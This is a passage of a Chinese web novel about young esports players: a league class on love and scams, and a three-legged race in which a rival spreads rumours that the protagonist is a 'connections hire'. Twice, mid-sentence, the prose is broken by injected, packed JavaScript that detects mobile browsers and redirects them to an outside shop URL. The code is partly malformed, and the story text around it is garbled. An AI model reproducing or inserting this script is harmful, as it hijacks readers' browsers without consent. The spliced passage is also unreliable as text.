“未经世事却因实力强劲从而赚了不小的数目,已经能吸引到很多人特别是老狐狸的注意,特别是这些选手本就没有多少自我管理财务的意识。这种没经过任何社会历练甚至学都没怎么上过的人,哪知道人心险恶?最好骗了。” 人心险恶? 夜雨辰突然想到一点:“大部分选手在打职业前几乎都是打游戏练技术,平常面对过的恶劣人性大部分只有打不过破防骂自己的敌人、看你不爽让你赢不了的队友、打单不付钱吃霸王餐的老板,最坏的也就那种不想让别人上分所以买演员的老板……” “对,所以很多人就很容易产生一种,‘人只会恶成这样’的错觉。”郁秋点点头,“至少在我的理解里,学校起码算个小型社会,可以帮助一个人粗略了解下社会,至少不会让一个人过分天真无暇到完全没有自保的意识。” 听到这句话,夜雨辰心里不由得一咯噔,脑海里瞬间想起一个人。那个人曾经在Whisper Tree上也对他说过类似的话—— 学校本就是让一个人慢慢适应真正社会、学会走出去的一个过程。所以选择辍学直接去青训营,并不是一个很好的选择。 这句话是当初把他劝放弃辍学念头并决心跳级的原因之一。 说到这,郁秋不禁冷哼一声:“现实里,‘色、财、权’,只要有关欲望的东西,随便抛出一点点诱饵就有大鱼自愿上钩,出过的事是真不少。” “在圈里的这两年里越来越多类似的案例发生,被下套的职业选手特别是明星选手越来越多,联盟见状只好决定给‘我们’科普这些社会常识。” 夜雨辰看着对方毫不掩饰的厌恶,挑眉道:“你好像很了解这些‘老狐狸’,而且你好像对这些课程并不太感兴趣。” 字里行间都在表达自己很了解这些人,但表情和眼神却全写满了唾弃。 “嗯。”郁秋毫不犹豫地承认了,“家里做生意的,见过不少手段,老实说,我不喜欢。而现在这些课我不是学过很深的知识就是深有体会,对我来说其实没太大帮助。” 说到这,郁秋嘴角一勾,转了个话题,“话说小柯应该给你讲过一些人的八卦吧?他那张嘴停不下来的。我刚刚提到过的案例都是圈内众所周知但不可能曝光到外界的事,你听完这些难道就没什么感想吗?” “……” 夜雨辰回想起小柯昨晚告诉他的不少选手的八卦。 被骗钱骗感情的、得病的、故意去骗人他人身心甚至睡粉的…… 他不禁皱起眉头,寒声道, “如果他说的都是真的,那有些人是真的恶心、畜生,但也有的人是真的蠢,很明显的骗局居然都能上当。” 郁秋耸耸肩:“所以亡羊补牢为时不晚,以前缺乏的教育现在就补上,这就是为什么联盟会特地花大价钱请人给‘我们’上这些课。” 思绪回到现在,夜雨辰随意环顾一周讲堂,不少选手包括眼熟的人看上去坐姿似在专心致志的听课,实际上都在不停地点头,估计要不是有摄像头的原因,他们应该打算直接趴下大睡特睡了。 但看上去,似乎并没有那么多人想接受相关知识……吧? 等到爱情教育课的时候,夜雨辰就收回了这个念头——几乎所有人都聚精会神地看着讲台上的人。 上课的人是熟人,老魏,前天综合素质培训的那个心理学老师。 “你们居然这么迫切上我的课?受宠若惊。” 老魏明显不太习惯整个礼堂的人都这么目光灼灼地看着自己,没忍住打趣道,“还是说,你们每个人心里都有个crush想追?我来随意抓个人问问。” 台下众人听闻顿时开始低头假装忙碌,生怕自己成为第一个丢脸对象。 老魏随意看了一下,最终把第一个目标锁在了郁秋身上,他笑道:“这位同学,你认为‘恋爱的目的’是什么?” 郁秋下意识目光往旁边一瞥,淡淡道:“和爱的人在一起一辈子。” 老魏顺着郁秋的目光看向夜雨辰:“那你呢?” 夜雨辰脱口而出,面无表情道:“结婚。” 老魏笑嘻嘻地接着道:“那你有喜欢的人吗?” 夜雨辰一愣,眼神不禁往旁边一瞥,像在思索答案,然后十分认真地答道:“实话说,我分不清好感、喜欢和爱的区别,所以回答不了这个问题。” 得到这个答案老魏满意地点了点头:“挺踏实,也对自己的感情负责,不错。” 他继续开始寻找其他目标,随便抓了个选手继续问道:“你呢?有对象吗?想过和对方的未来吗?” 那人果断答道:“有,想结婚。” 老魏摸了摸下巴,好奇道:“你们认识多久在一起的?谈了多久了?” 那人眨了眨眼:“三天,一个月。” “?” 夜雨辰挑眉。 认识三天就在一起的情侣? 怎么听上去觉得怪怪的? 不仅如此,老魏剩下问的大部分的选手回答得都是类似的答案,有的选手甚至和自己的对象认识不到一个小时就在一起了。 一个两个还好,但接连五六个这样的答案,夜雨辰总觉得自己的认知有些被颠覆。 这些人的恋爱和他理解的好像不太一样。 明明大家几乎都是同龄人,他们是怎么在这么短时间内分清楚自己对对方究竟是什么感情从而决定在一起的? 在老魏问到Wao的IN——圈内众所周知的换对象如换衣服一样勤奋的选手时,IN焦急开口道:“老师,我明明每次都付出了百分百的真心,我都没有对不起她们过!为什么她们还要骗我!” 老魏听闻,莞尔道:“那你理解的‘爱’是什么?” IN一怔,似乎从未思考过这个问题。过了将近一分钟,他才憋出了几个词:“陪伴?听话?对她好?” 像是得不出满意的答案,他最终撇了撇嘴:“反正付出真心不就好了?但为什么别人的恋爱总是甜的,就我一直吵架一直被绿一直被抛弃,烦死了,明明每次我才是被辜负的那个,怎么最后都变成了我是渣男?” 说到‘渣男’这两个字的时候,IN旁边不少人没忍住笑出了声。 老魏好奇道:“你们吵架会吵什么?” IN冷哼一声:“还有啥?每次都是她没事找事,揪着一些鸡毛蒜皮的小事和我吵,而且她老和其他异性玩,居然还会特意通知我!拜托,我才是她的男朋友,她和其他异性玩就算了,还告诉我是什么意思?明知道我会吃醋还告诉我。” 趁着IN回答的时候,老魏的视线扫了一圈教室,观察其他选手听到这些问题的神色——不少选手眼里都写满了对这些问题寻求答案的模样,显然,他们也常常会遇到类似的情况。 听到这,夜雨辰终于没忍住小声问郁秋:“是我的观念不对吗?他们的意思是谈恋爱就不能和其他异性玩吗?可为什么?人总不可能因为谈了个恋爱就一辈子不和其他异性朋友说话或玩了吧?如果没有边界感导致的吵架那就当我没说。” 郁秋耸了耸肩,小声在他耳边道:“我也不理解,每个人对爱情有不同的观念也正常,但我觉得爱不是束 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081167|195317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缚,我也不会去干涉并约束我自己喜欢的人的社交圈,这是对方的自由。” 听到这个答案,夜雨辰不禁更加疑惑和好奇了:“那他们为什么会有这样的观念?游戏里这种人也很常见,他们明明没认识对方多久就开始一场潦草的恋爱,最后荒谬的结束,这种恋爱有什么意义吗?” 郁秋嗤鼻:“这种人缺爱或情感饥荒吧?口口声声说自诩纯爱哭自己恋爱多惨,实际上半年谈上十几个还觉得自己没什么问题。” “反正我觉得和一个刚认识的完全陌生的人就开始一段恋情,别说深刻了解对方了,连对方是什么样子的人都不知道就开始一场所谓的恋爱游戏,最后没过几天就分手还到处宣扬我遇到了什么人渣的举动,不就是发情的狗在玩盲盒恋爱吗?只渴求爱的感觉,无论是谁都能接受。” 他嘴角扯出一抹难看的笑容:“快餐式恋爱,囫囵吞枣的开始,莫名其妙的结束,甚至整个恋爱全程都没真正的走进过对方的心里,我很唾弃这种恋爱方式,但这两年身边见多了这种现象后,我居然也开始怕我爱的那个人用这种方式和我恋爱。” 夜雨辰面无表情地看着郁秋。 对方似乎是因为身边出现太多“快餐恋爱”的案例,导致自己也有点迷茫该怎么和自己爱的人开始一段正常的恋爱。 ‘快餐式恋爱’,在听说过这个词的时候夜雨辰就特别不喜欢。 他曾经在游戏或音符平台里,总会有各型各色的人会跟他来一句‘CPDD,处不处?’类似的话。 男女老少都有,他就十分不理解且疑惑。 都不认识也不了解他是个什么样的人,是怎么好意思随口说出这些关乎终生的话的? 这种接近八成都是不安好心,妖魔鬼怪。 可他也因此会对这种感情更有好奇心和探究欲。 爱,到底是什么? 他只知道这种爱肯定不是和亲人的那种爱。 这种感情到底是什么样的? 和好感、喜欢到底有什么区别? 他似是不经意地问郁秋道:“那除了不是约束,你理解的‘爱’还有什么?” “我理解的‘爱’?” 郁秋一怔,视线挪向夜雨辰,表情有些复杂道,“你想知道?” 夜雨辰没有第一时间回答。 他一直在静静地观察郁秋的神色。 不知道是不是因为郁秋在这短时间内吐露过太多他内心不喜欢的东西加上昨天没睡好的缘故,此时此刻,他的眼睛就像深不见底的黑洞,隐隐夹杂着丝丝戾气,让夜雨辰感觉有些陌生。 不过在提到这个问题的时候,对方的眸里似乎有什么东西呼之欲出。 半晌,夜雨辰才点了点头:“嗯,看很多人都很向往‘爱’,看上去是很美好的东西。” 而且他也很想知道,郁秋理解的爱是什么? 郁秋思索了片刻,似乎在踌躇着什么。过了好一会,他才答道:“我记得我之前跟你说过,我爱一个人,而且这辈子不会变,所以爱了这几年,确实有点感悟。” 暗潮涌动的双眸锁在夜雨辰的身上,像在看着自己,也像在透过他看着其他的什么东西。只听对方沙哑的声音时不时会和台上老魏低沉的声音重合到一起—— “我理解的爱,是包容、是迁就。是我能接受你的所有缺点、能容忍你的所有负面情绪,就算你生活中再怎么糟糕狼狈,我也会全心全意不顾一切地只爱你一人。” “爱是我会说,你放心去做一切你想做的,不要怕失败,我可以用尽所有手段来为你兜底,我会永远在你身后且忠诚于你,做你坚实可靠的避风港,我也只愿为你一个人撑伞。” “爱是不知不觉地吸引,只要你出现在我的视线范围,我的所有注意力都会情不自禁地放到你身上;是你不在我视线范围的时候,我心里却总会将所有事物都联想到你。” “爱是在我对生活绝望萎靡时,一想到你我就有重新迎面千重浪的勇气,就算生活再怎么艰难,我也要咬碎牙齿坚持下去……” 夜雨辰轻微地皱起了眉。 不知道为什么,郁秋越往后说,似乎就变得愈发陌生。 对方眉眼间逐渐染上一层戾气,就像一只随时会进行一场捕猎的野兽,但其间又夹杂着明显的痛苦与忍耐。 “爱一定不是甜的,一定是苦的,因为爱要隐忍、要克制。” “爱会让我想方设法去接近你粘着你,并且心里总会升出那股不正常的占有欲让我完全不想看到你和与我之外的任何人接触,不仅如此,我还想直接完全干涉你的所有人生帮你选择完所有我认为的正确道路,我有这个能力,但我最终还是会尽量压制住这种想法不去影响到你的生活并尊重你的所有选择。” “爱让我变得不理智、不清醒、奇怪,被爱者就像提线木偶的操纵师,一举一动都能影响到我的思绪、判断甚至是生活。” “爱让我有了我以前从未有过的烦人情绪——恐惧、担忧、敏感、惦记、瞻前顾后……我的理智和感情常常打在一起,让我苦不堪言,这种矛盾的心里有时候真的让我难受地想发疯。就算冷静下来后,我偶尔还是会忍不住失控去触碰可能会让自己失去所爱的禁果。” “爱是……” 说到这,郁秋突然顿住了。 他似是意识到自己越说越激动,不耐烦地揉了揉自己的眉心,直接总结道:“总之,‘爱’这个东西,很容易影响人,不是什么美好的东西,这也是为什么零落会不让队员在训练比赛期间出现新的恋情的原因。” 74. 好心提醒 所以,爱是很沉重的东西吗? 下午,少年宫旁边的大型操场上,不少选手在草坪上打闹嬉笑,也有的选手嫌阳光太大,躲在旁边的阴凉棚下玩着手机等待着下一场活动的开始。 而夜雨辰则独自坐在附近的台阶上,看着那湛蓝的天空,边享受着阳光的沐浴,边思考着郁秋上午的话。 忠诚、矛盾、挣扎…… 爱,到底是本身就是如此,还是他爱得太过深沉了? 为此,刚刚夜雨辰还做了个小测试,直到现在。 为了验证所谓的“爱是不自觉地吸引”这句话,他特地这几个小时对郁秋有些冷漠。 具体怎么冷漠的? 就不和他说话、特地和他站位保持距离、如果郁秋主动找自己,自己就一如往常一两个字精简地回答完对方后便很自然的忙碌着看手机或发呆。 然后每次等郁秋离开后,他又情不自禁地偷偷把视线瞟向对方离开的方向。如果郁秋察觉到异样回头,他又会立马淡定的瞥开视线。 这种刻意避嫌但忍不住去看的感觉让夜雨辰觉得自己也挺贱的。 心里想着不去在意,但是行动却控制不住去关注。 但他觉得自己对郁秋肯定没到‘爱’那个程度。 毕竟单从一个衣着审美来说,他就完全包容不了一点。 而且…… “夜雨辰,抽签了。” 他将思绪收回,看向不知什么时候走到他旁边的郁秋。 “嗯,好。” 夜雨辰站起身,拍了拍身上的灰尘便径直走向一群人围着的操场中央。 他似乎只了解郁秋的表面,一点都不了解对方负面情绪和缺点的模样,何况郁秋都有目标了,不仅咬定不会变,而且明眼人都看得出他付出了很深的感情。 所以不管自己对他是什么情感,接下来还是不要接着放任这种一接近他心里就充实的感觉到处乱窜吧。 甚至还有些愧疚自己脑子一热便和他做的一些亲密举动。 还好郁秋没在意,估计当作两个男的随意打闹玩笑吧?毕竟夜雨辰中学也见过自己同班同学开玩笑亲个嘴啥的。 而且他和郁秋实打实认识的时间也没超过一个月,这么想来,自己这算不算快餐恋爱带来的错觉? 他之前以为自己是喜欢的感觉,好像真有点可笑了。 夜雨辰一边想着这些,一边抽了张抽签条。 这是联盟举办的一个破冰小游戏,“两人三足”,目的是为了让各队成员友好相处,团结友爱,而且附近还有不少摄影师,说是联盟想着拍摄这些选手的花絮日常。 同颜色同编号的两人一队,联盟为了方便大家寻找队友,已经提前定好了每个队伍应该站的点位。 小柯和希楠一队,嘉辉和曾经他抱怨过的同队打野一队,Qian和IN一队,邱子幸和乌宁一队,而郁秋…… 夜雨辰一怔。 ……和沦陷一队。 脑子里顿时冒起来一句上午郁秋笑着的一句话——“沦陷他人还挺好的。” 好个屁,笑面虎一个。 他面无表情地收回视线,开始等待自己的队友。 “艹,怎么是你?” 突然,身侧发出了一道陌生又熟悉的声音。 循声望去,只见七戈正眉头紧锁着看着自己。 那个爱骂郁秋替补、并且前天上课还来挑衅他们的傻逼。 夜雨辰双眸微眯:“……” 要不直接弃权吧? 看着有离开意图的夜雨辰,七戈瞬间慌了:“别弃权啊我日,就算老子讨厌你老子都没想着弃权!” 夜雨辰挑眉:“……” 讨厌我你还打算和我一队? 而且课白上了,这家伙还是这么没素质。 想着,他还是朝裁判的方向走去。 眼看劝不住夜雨辰的脚步,七戈咬牙切齿道:“你tm不知道弃权和倒数第一的惩罚是一样的吗?‘奖励三杯广东专属凉茶’,你tm是抖m才想喝那玩意吧?” 夜雨辰的脚步一顿。 不是因为‘抖m’这个词被对方骂了回来,而是…… 他慢悠悠地走回自己小队的点位,淡淡道:“热身,你急什么?” 他根本没注意过所谓的惩罚。 但如果是广东凉茶的话,那还是能避则避吧。 七戈见状,松了口气,但还是烦心地抓了抓自己的头发:“顺便把绳子拿来了,你来绑还是我来?” 夜雨辰随口道:“你来吧,我不太会。” 说着,他便不由自主地看向正和沦陷说说笑笑的郁秋。 他和郁秋的位置隔得特别远,几乎在操场的两端,很容易被其他小组的选手挡住视线,但他还注意到了郁秋和沦陷早早绑好了绳子,甚至因为距离太过贴近而不得不勾肩搭背。 啧,碍眼。 夜雨辰看得很不爽。 郁秋总不可能看上的人是沦陷吧?这么明显的心机男郁秋是眼瞎了看不出来吗? 但思来想去,他还是觉得Kimi应该才是郁秋的心动对象。 “喂,绑好了,你在看什么?” 七戈不耐烦的声音从他旁边传来。 绑好了? 夜雨辰一愣,低头看向绑着二人腿上松松垮垮、随便一踢就能掉的绳子,而且两人的脚踝间还多缠了好几圈,完全避免两个人有任何的肢体接触。 “……”他不禁无语,“你想被DQ别带上我行不行?和弃权有什么区别?”(DQ:比赛违规被取消资格) DQ也会被惩罚喝凉茶的吧? 七戈翻了个白眼:“搞得像我会绑一样,嫌弃你来,不然别狗叫。 ” “嘁。”夜雨辰不爽地弯下身,解开绑着两人的绳子,脑海里不禁想起刚刚看到的画面,于是手上不自觉地越发用力。 自己在不爽什么? 郁秋和一个讨厌的家伙说笑? 七戈嬉笑的声音从头上传来:“哟,你刚刚在看你相好……我去,疼疼疼!我cnm绑这么紧你tm谋杀啊?” “说了不会绑,疼就受着。”夜雨辰泰然自若地站起身,一如往常的冷漠道,“而且我在看什么,关你屁事。” 七戈饶有兴趣地低头看了眼夜雨辰绑着的绳子,好笑道:“你还挺有意思,我刻意让我们俩没有接触,你居然会把我们绑得这么紧,但你身体又下意识离我这么远,这是巴不得我们过会摔个狗吃屎呢?” 夜雨辰冷哼一声:“过会的事过会再说。” “其实我还发现了一件事。”七戈的脸上突然勾出一抹意味不明的笑,“从前天开始到现在,我见过的你,除了这一副面瘫表情以外就没其他表情了。” “天天摆着这一副没有表情的臭脸,你不会是那种怕别人看出自己心思的特别好面子的人吧?” 夜雨辰手指微微一搐,但神色上并没有太大的反应。 他轻瞥一眼七戈:“看你不爽还要给你好脸色?” 七戈看了眼夜雨辰身后隔着十分远的郁秋后,又重新把视线放回了夜雨辰身上,讥笑道:“看我不爽?不会是因为那个替补吧?” 夜雨辰的眸光波动了一下:“你讨厌我不也没有理由?” 出奇的是,七戈好笑道:“理由?那可多了去了。” “?” 夜雨辰有些诧异,“比如?” “……”看到夜雨辰这个反应,七戈反而一怔,下意识吐槽道,“你是两耳不闻窗外事吗?” 夜雨辰点头,冷漠道:“嗯,和你一样。” 两年前在Fire青训营的时候,七戈不也是根本没听说过郁秋那时在青训营的处境吗? 不然当初他哪会那么对郁秋说话? 七戈一噎。 他明显听出来了夜雨辰意有所指。 也可能是心虚,所以他才会下意识会想到那天青训营里,最坑的郁秋居然会在训练室里当着所有人面指责乌宁并和他撕破脸的事情。 他那时才后知后觉意识到,自己居然成为了这种事件的导火索。 他心里暗啧一声,撇了撇嘴,语气反而放低了不少:“他们撕破脸是迟早的事,只是恰好我成为了导火索而已。” 说到这,他转头看向似乎正朝他俩走来的乌宁和邱子幸,冷哼一声,不爽道:“而且,当初郁秋的成绩跌落,乌宁成绩又稳在营里的前排,我也是,结果从不会给自留签的Fire战队居然会给这个连续一个月一点起眼的成绩都没有,好不容易开始回暖上升却依旧超不过我俩的垃圾合同?” “所以他替补不就是活该吗?凭什么现在能做首发能做队长?” 七戈说到这,就不禁咬牙切齿:“乌宁可以说那时候他没成年所以Fire没给自留签,那我呢?我选这个基地不就是喜欢他们战队吗?而且我努力了两年,成绩表现都是特别出色,为什么最后选择的是那个进了青训营不到四个月的郁秋而不是我?训练时间、心态、成绩……除了游戏里的历史成就,我哪一点比不过他?青训营一堆上过全国第一的废物不照样最后连职业的大门都没进吗?” 他恶狠狠地盯着夜雨辰,还特地低头看了眼对方脚上穿着的价格不菲的鞋子:“凭什么他那种垃圾倒数表现能在那个特殊时段进Fire,而且还直接成为了联盟第一选手沦陷的替补?他配吗?你也是,为什么进青训营一两个月就能直接做个状元出来?那我付出这么久的努力和优异的成绩岂不是很可笑?邱子幸更是,干脆演都不演了,直接买一个战队名正言顺的成为职业选手,你们这些人有钱有势就很了不起吗?” 明明也有不少人是在成年后才进的青训营,也在营里呆了一两年,凭什么这几个人就只用呆这么短的时间毕业还能拿到首发位? 那他这种普通人拼命努力却换来两年的替补算什么? “…………” 夜雨辰垂下眼眸,没有第一时间对这质疑给出回答。 “哟,好巧,你们好啊。” 突然,一道轻佻的声音从二人身旁响起打断了七戈还想说下去的话。 那人还在那自我懊恼道,“哎,刚刚我们都找错点位了,真的好尴尬,果然我不适合这种团体活动。” 另一道声音安慰道:“没,没事,这都怪我,是我找错地方了……” 夜雨辰和七戈面色不善地循声望去,只见邱子幸和乌宁居然停在了他俩旁边。 夜雨辰看着邱子幸一脸和善的模样,没有给出任何回应,顺带扫了一眼对方旁边的乌宁。 七戈和乌宁点头打了个招呼后便双手抱胸把视线挪向反方向,也完全没有搭理邱子幸的欲望。 邱子幸见自己被众人冷落也完全没有任何尴尬的模样。他完全没有搭理乌宁的安慰,而是对夜雨辰感叹道:“你好聪明啊,还是我设计的问题太蠢了?” “……” 夜雨辰瞬间意识到对方指的是早上那一群记者堵在他面前的事。 知道你蠢就好。 邱子幸有些嫌弃地看向乌宁并把绳子塞给他:“你来绑。”说完,他便扭头重新看向夜雨辰,似是好心在那提醒道, “不过你好像没注意到你被好多选手关注了?” 确实没注意。 夜雨辰把视线瞥向一侧,觉得邱子幸有点聒噪。 一是他关注什么关这人屁事,二是他的心思从没在别的选手身上。 邱子幸却像粘在夜雨辰身上了一样,赞不绝口道:“真羡慕你啊,又是在青训营呆了一两个月就毕业的价格不菲的天才选手、又是游戏里著名的中单全国第一高手……” 像是真的十分敬佩夜雨辰的成绩,但夜雨辰完全没有被夸赞的喜悦。 说到这,邱子幸低笑:“还是刚进战队就把老队员踢出战队的家伙、是和Qiu搞各种暧昧还说不清关系的新人、是当众放狠话不把其他老前辈放眼里的无知小儿……” 提到Qiu这个字的时候,乌宁刚系好绳子、站起身的动作一顿。 与此同时,裁判拿着大喇叭大吼着:“比赛即将开始,请各位选手做好准备!请各位记住,友谊第一,比赛第二!” 邱子幸凑到夜雨辰身边,小声嬉笑道:“这么显眼,哦不,应该说碍眼的新人的出色的表现已经挑衅到了不少老选手,居然还能被这么多人围着采访,而且刚入 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17081168|195317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 圈玩炒cp那套小花招也能玩出不小的火花……” “哇塞,你的表现可是得到了很多拼命努力却没有得到结果的人的成就,包括站在你旁边的这位,所以你觉得,会有多少人在看到这些后会对你抱有善意呢?直接把你当作‘关系户’都不过分吧?需要我顺便提醒你一下,我们这个行业好像大部分人最讨厌的就是‘关系户’吧?” 他突然捂嘴道:“哦不对,已经有很多人默认了你就是吧?” 说着,他朝着七戈笑了笑:“你说对吧?” “哼。” 七戈双手抱胸,没有回答,但也没有否认。 夜雨辰瞥开视线,眼神越来越冷,依旧没有搭理邱子幸。 “预备备——!” 裁判高喊着,“跑!” “那后会有期啦?Night选手。” 邱子幸跑前还留下一副人畜无害的笑容,然后飞快地向前冲去,不再回头看一眼停留在原地不动的夜雨辰。 等邱子幸跑到终点后,他身旁的乌宁气喘吁吁地在旁边问道:“你,你为什么要特地跟Night说那些话?” 他当然听到了邱子幸说的那些话,而且他也听闻过邱子幸这一年里的一些事例。 所以他感觉,邱子幸针对Night和郁秋撇不开关系。 邱子幸脸不红气不喘的拿了瓶矿泉水,脸上的和善早就消失殆尽没有一丝残留。 他冷冷地瞥了一眼乌宁,让乌宁不禁打了一个哆嗦,随即,他又把假笑重新挂回在了脸上:“我在好心提醒他啊?毕竟他似乎没意识到自己今天的处境呢,大家虽然都是同事要团结友爱,但是背地里谁知道会不会被不怀好意的人捅一刀不是吗?” 说着,他不由得回头看向他们跑来的方向,准确来说,是夜雨辰的跑道。 乌宁心里下意识一激灵,不再说话。 邱子幸静静地看着夜雨辰的位置,若有所思。 他热衷用攻破一个人心理防线的手段去搞别人,而且也认为这是合法社会上最简便的方法。 反正他也有这个条件,所以可以慢慢去尝试各种方法,直到试出对方心里最脆弱最敏感的那点为止。 想着,他不禁把视线瞥向几乎站在操场另一端,时不时会回头看向夜雨辰方向、脸上有些闪过担忧情绪的郁秋,不禁冷哼一声。 郁秋那家伙确实难搞得要死,心理素质比背景还硬,什么方法都没办法从心里上击溃他,唯一一个传绯闻的路子似乎有点效果,但不知道为什么,当初那种消息放出去的瞬间声音就会消失殆尽,而现在这种什么‘秋夜’居然会有不小的声音。 但有的人,虽然比较愚钝,反射弧也比较长…… 邱子幸重新将视线缓缓放向处在末尾的夜雨辰身上。 今天,只要夜雨辰出现在大众面前,不论是选手还是媒体面前,他都有办法把他推到一些舆论的风口浪尖上,毕竟这人这个月干过的事情确实已经可以大做文章了。 这个世上,大部分人都会因外界对自己的舆论声影响到自我,特别是一个行业的新人,虽然总会有那么几个另类。 他不知道夜雨辰这一天到底是没听到那些负面声音还是对那些声音不以为意。 因为这人这一天的表现几乎都是瘫着一副不亚于刚刚的臭脸,所以邱子幸根本无法确定夜雨辰到底是不是这种另类。 所以最简单的确认一个人到底有没有听进去周围声音的办法就是——亲口告诉他。 而现在从结果来看…… 邱子幸的脸上挂上满意的笑容。 他瞥向站在自己旁边有些不知所措的乌宁,在想到什么后,终于第一次正眼看向了对方:“对了,刚刚好像听Night他们说,你和郁秋曾经是一个青训营的?” * “wcnm你快跑啊!!!” 七戈在裁判说开始后立马向前猛地跨出一步,在即将迈出下一步的时候却被腿上传来的莫名的拉力拌了个踉跄。 他回头看向那个杵在原地一动不动的人,不禁急着大吼道,“虽然我讨厌你,邱子幸那逼说得也是实话,可他tm是在干扰你道心你特喵的看不出来吗!老子不要倒数啊!!我他丫的不想喝那苦逼东西啊!你能不能快跑啊别牛魔的一动不动了!” 听到这怒吼声,垂着眸的夜雨辰像是才注意到比赛开始,迈出了自己的步伐。 但也仅仅是慢慢向前走着而已。 七戈想跑,但每次都会被不知道怎么做到的夜雨辰“拉”了回去,导致好几次差点摔了一跤。 最后,他只好无奈地一边配合着夜雨辰的速度慢慢向前走一边哭道:“我求你了跑起来吧哥,我真求你了!我跟之前的鲁莽行为道歉还不行吗,求求你了我们现在已经倒数了,再不冲真要喝了啊,你不是很在乎自己的面子吗?倒数多丢人啊!而且三杯啊!这不是要我的命啊!” “真的别理邱子幸的话啊!我也很讨厌他的啊!可咱们先别垫底好吗?几十组队伍我们做这么显眼的垫底,我是个厚脸皮我都遭不住啊!” 但夜雨辰不知道为什么,完全对‘垫底’这两个字没有任何反应,反而听到邱子幸的名字,他瞪向七戈,冷声道:“闭嘴,安静点,大不了我喝六杯。” 凉茶喝就喝吧,这有什么? 听对方说会喝自己被罚的那一份,七戈才讪讪地闭上了嘴,不情不愿道,“哦,那你过会别反悔就行。” 而且他还是看出来夜雨辰现在心情似乎不大好,所以还是不要触碰这个霉头了。 等走过了半程,夜雨辰突然开口道:“喂。” “干嘛?” 附近没有其他人,七戈知道他在喊自己,但许是因为队友导致的倒数,他也没多好脾气,不爽地看向夜雨辰。 明明现在太阳当头,天气炎热,但七戈在和对方对视上的一瞬间,不由得被对方满是冰寒之意的眼神吓了个哆嗦。 “如果我说……” 夜雨辰深吸一口气,双拳不由得开始握紧。 半晌,他才似是无常的哑声道, “我不是关系户,我只是在你们看不见的地方付出了不小的努力,你会信吗?” 75. 拒绝 【我是夜雨辰。】 草坪正中央,只有两个人矗立在那。 夜雨辰死死地盯着七戈,等待着对方的回答。 邱子幸的提醒,按道理来说,他应该是懒得去理会的。 可如果是假的,上午听到的那些闲言杂语、刚刚瞥到的乌宁下意识地点头赞同,以及七戈的默认…… 根本没办法把邱子幸的话当成噱头。 【我这辈子最讨厌的事情就是——】 【“自证”】 七戈许是没想到夜雨辰居然会说出这种话,没忍住好笑道:“你说不是就不是?我凭什么信你?” 夜雨辰深吸一口气,面上依旧维持着冷漠的表情,坚定道:“我不是。” “谁能证明你不是?” “那谁能证明我是?” 七戈摊手,嗤笑一声:“你这三个月的所有成绩——战队首发先不谈,一个多月的青训状元、网络上迅速升起的热度、记者们的关注……你难道不知道你已经拿到了许多人这辈子职业生涯都碰不到的东西吗?何况你本身条件看上去也不差。” 【因为总会有不少人把他们看到的表象拼凑成自以为的真相,并肆无忌惮地到处传播,以各种方式造谣我的名声,污蔑我的为人。】 【他们对此从不会有任何的愧疚感。】 “所以说传出你和联盟公认的那几个关系户一样借用了一些外界手段的声音也不奇怪吧?” 【而我却永远找不到声音发出的源头。】 【也无法遏止住这些声音的传播。】 夜雨辰沉声道:“我的青训营在FQ,你可以问所有我的同期和营里的工作人员我的训练全程。” 七戈一边弯腰解开二人腿上的绳子一边嗤鼻道:“你有证据你倒是收集出来啊,嘴上说谁不会,而且为什么要我们去那边问?我们又不欠你什么,没必要花这么个时间吧。而且总不可能你以后面对上百甚至上千上万个人的声音时,让大家都一个个跑去那地方问吧?人家青训营可不是咨询处。” 【而且为此,我还要花费很大的精力去各种证明——我根本就不是这种人,或是,我是‘我’。】 夜雨辰寒声道:“那你们既然没有确切的证据,凭什么这么给我扣这种头衔?” 七戈不以为意:“你要真不是,也没有这种声音会传出来吧?我觉得你应该反思反思自己的问题,确实会有那么几个人很快从青训营毕业,但他们怎么没传出这种声音就你一个人有?” 【以前被别人冒充到有人莫名骂我人渣也是、第一次上这个游戏的全国第一也是、包括这次刚开始打职业也是,甚至更早的时候……】 【每次我都不知道这些恶心、荒唐、莫须有的声音究竟是从哪传出来的,以及,为什么会传出来。】 “……” 夜雨辰顿时哑声。 【它们总给我的生活增添了许多让我生气又无力的麻烦。】 他低下头,细碎的刘海遮住了他有些泛浑浊的眼神,双拳不由得开始收紧。 【这些人真的是张口就来。】 【好想揍人。】 “夜雨辰!” 还未来得及抬起手,一道熟悉的声音向他奔来。 下一秒,柠檬清香味扑鼻而来,一条干毛巾盖上了他的头遮挡住了他视线,同时,他被揽进了一个熟悉的怀里,握紧的拳头也被一只温暖又坚实的手紧紧包裹住。 不用抬头都知道这是谁。 七戈的声音在旁边响起:“瞪我干嘛傻逼?我可什么都没说,而且还被他带着一起丢脸了,你要算账找邱子幸去,真是晦气死了抽到你们。” “哼。” 郁秋现在根本没空去搭理七戈。他低头在夜雨辰耳边轻声道,“我们回去吧?” 夜雨辰没有答话,整个人杵在原地一动不动。 “对不起。” 郁秋突然满是歉意道。 “……” 夜雨辰嘴巴微张,拳头悄然松开。 片刻,他咬紧牙关,艰难地从喉咙深处挤出一个字:“滚。” 关你什么事?你道什么歉? 他用力挣了挣,但完全无法在郁秋怀里动弹半分。 